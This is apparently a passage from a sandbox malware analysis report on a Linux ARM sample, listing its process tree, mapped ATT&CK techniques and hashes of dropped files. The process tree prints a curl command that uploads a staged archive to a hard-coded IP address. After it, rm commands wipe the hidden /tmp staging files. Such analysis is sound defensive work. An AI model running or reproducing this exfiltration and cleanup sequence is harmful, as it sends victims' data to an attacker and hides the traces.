    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:983
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:984
- /usr/bin/wc
  wc -c
  2⤵
  PID:985
- /usr/bin/curl
  curl -s -m 25 --data-binary "@/tmp/.aw_debian9-armhf-20260513-en-9.tgz" "http://185.106.98.235/upload?h=debian9-armhf-20260513-en-9"
  2⤵
  - Checks CPU configuration
  PID:986
- /bin/grep
  grep -q EXFIL_OK /tmp/.aw648/summary.txt
  2⤵
  PID:987
- /bin/rm
  rm -f /tmp/.aw_debian9-armhf-20260513-en-9.tgz
  2⤵
  PID:988
- /bin/rm
  rm -rf /tmp/.aw648
  2⤵
  PID:989

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

env.txt

Path /tmp/.aw648/env.txt
Size 241B
SHA256 3706c277fb984b759480da48717ef25e266cb368632e65db22fec3ea80409987
MD5 e80b05acd579b5ed438e34d8eb6d24f5
SHA1 5f140c30a52e2274f776c780a58da3ecd74d3539
SHA512 1c9d16ac45700f91b414e674ec4642b708c8385c788d1b1a7d66f6f21a4f6243ecada31c31a02a8ef207f0cc639dacd33ebba96f224a4f7d3f4c83a7a19f6965
TLSH
T1BAD05E4823523AFD6600BED30E808D06118261886C4E7B95C17A25B28B247BB225295A
MD5 SHA1 SHA512 TLSH

Submit Download

summary.txt

Path /tmp/.aw648/summary.txt
Size 122B
SHA256 3062193980c8ff30d94e469f184679652d85f87a427e2a71b55064140026c42a
MD5 96bf585dea1e05005409dcff1b9fed14
SHA1 35a05683b20b54fbe233da932fd4d07bdae2270e
SHA512 e4ee2a761c8262da07eb57dd8f125eeece43bf59cf24ea3578754ed628da96cf688208f64e602072ba629d532b3d5fd4590cf8bfd627f9bdf0592025f73dc8f7
TLSH
T160B09B74157091936A4380DAD0B249FA1233D56A57147E44574DA5C2413111D5F46541
MD5 SHA1 SHA512 TLSH

Submit Download

summary.txt

Path /tmp/.aw648/summary.txt
Size 190B
SHA256 00621ed886a8ff0a6ad72ac61b1ee6d67a39f23ed64db9008e101a002dd59e98
MD5 9d49bcf755eb88e2e05034e5e53fde68
SHA1 fc69813a38176997746db571f763f6efd4f33c8b
SHA512 e5bd41c68917b751b34292972b6f572944ac7f8d87865bb020bb9ce5615433e94c9e1728f45fead4daf780381b9027f2b2de034fb68666fa76c5901215fc0500
TLSH
T19EC022A419F4E2C39A03C0CBE0B249BA0227D9BA76642F88E70EA9C2412200CAF4B100
MD5 SHA1 SHA512 TLSH

Submit Download

summary.txt

Path /tmp/.aw648/summary.txt
Size 109B
SHA256 5fccb48b803a3c1a9bda3384729d8351ade1671087dda0592b1b6f47ed7ffb8d
MD5 e0c799efbb92bc2638c3e2e3a6d7cd05
SHA1 bb1190dbb96df06593d1ff52e1b8e7cfef4e7539
SHA512 42ab0b2c49e2a0cff6cde12d28d7633b646358422d23a5e6df5954aba76ad57e8a8f342111986ab9f90c862683058e926299f57ddea2c9a0ea43002ca103aa41
TLSH
T19CB012B0167091D36A43C0DEE0F24EFB0233E57F9B247F84AB09A8C3412111DAF46442
MD5 SHA1 SHA512 TLSH

Submit Download

.aw_debian9-armhf-20260513-en-9.tgz

Path /tmp/.aw_debian9-armhf-20260513-en-9.tgz
Size 483B
SHA256 efe65daf1b4225f872c19d1aa974b7d66c12ad43b7ac734b4024518f0e34a527
MD5 5c7ad386f64a64f4b871885b15548c0e
SHA1 20ec7601c2e4339fd2418d5f794f7ba4c15f1bcf
SHA512 b32697f25a72d8a399db5a511893c3a167366035f803d543d50a4685a719345c9e2fde22ff061f737b6b9d9a26e875149cea10578f89477eb16daabccfdb8270
TLSH
T11EF0D441B35709DBE18D4A714DB4EB12279603F011927354C6EAECE116249B3126CC61
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads